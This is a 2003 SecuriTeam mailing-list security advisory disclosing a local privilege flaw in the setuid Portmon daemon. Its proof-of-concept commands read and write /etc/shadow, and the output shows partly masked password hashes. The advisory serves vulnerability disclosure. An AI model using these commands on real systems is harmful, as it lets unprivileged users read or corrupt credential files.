

# [UNIX] Portmon Arbitrary File Read/Write Access Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0055.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 06/18/03

To: list@securiteam.com

Date: 18 Jun 2003 17:22:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,  
or call 617-399-6980

-----

Portmon Arbitrary File Read/Write Access Vulnerability

---

## SUMMARY

<<http://www.aboleo.net/software/portmon/>> Portmon is a network service monitoring daemon. In order to use ping support, Portmon must run as root or be installed setuid with root permissions due to the fact that it must open up a raw socket. The product suffers from a security problem that allows any local user to read/write protected files on the system. This is due to a hole in the way the program handles loading of two configuration files: host file/log file.

## DETAILS

Example (read):

```
[luca@linux luca]$portmon -c /etc/shadow
```

Unable to resolve hostname

```
root:$1$nsqR6sX$ItXXXXXXXXXXXXXXXXXXXXX.:12172:0:99999:7:::
```

## Securiteam: [UNIX] Portmon Arbitrary File Read/Write Access Vulnerability

```
Unable to resolve hostname bin:*.12172:0:99999:7:::
Unable to resolve hostname daemon:*.12172:0:99999:7:::
Unable to resolve hostname adm:*.12172:0:99999:7:::
Unable to resolve hostname lp:*.12172:0:99999:7:::
Unable to resolve hostname sync:*.12172:0:99999:7:::
Unable to resolve hostname shutdown:*.12172:0:99999:7:::
Unable to resolve hostname halt:*.12172:0:99999:7:::
Unable to resolve hostname mail:*.12172:0:99999:7:::
Unable to resolve hostname news:*.12172:0:99999:7:::
```

<snip>

Example (write):

```
[lucae@linux lucae]$portmon -l /etc/shadow
fopen: No such file or directory
Failed reading config file hosts
```

```
[root@linux root]#cat /etc/shadow
<snip>
```

```
lucae:$1$w3IGpzV4$i8WcXXXXXXXXXXXXXXXXXX/:12172:0:99999:7:::
nessus:$1$XSaW3b5e$WWzXXXXXXXXXXXXXXXXXX.:12183:0:99999:7:::
test:$1$6r5/OoES$RX3OXXXXXXXXXXXXXXXXXX/:12200:0:99999:7:::
(Mon Jun 16 01:40:17 2003) – Portmon started by user lucae //line added
```

```
[root@linux root]#
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:luca.ercoli@inwind.it>> Luca Ercoli.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.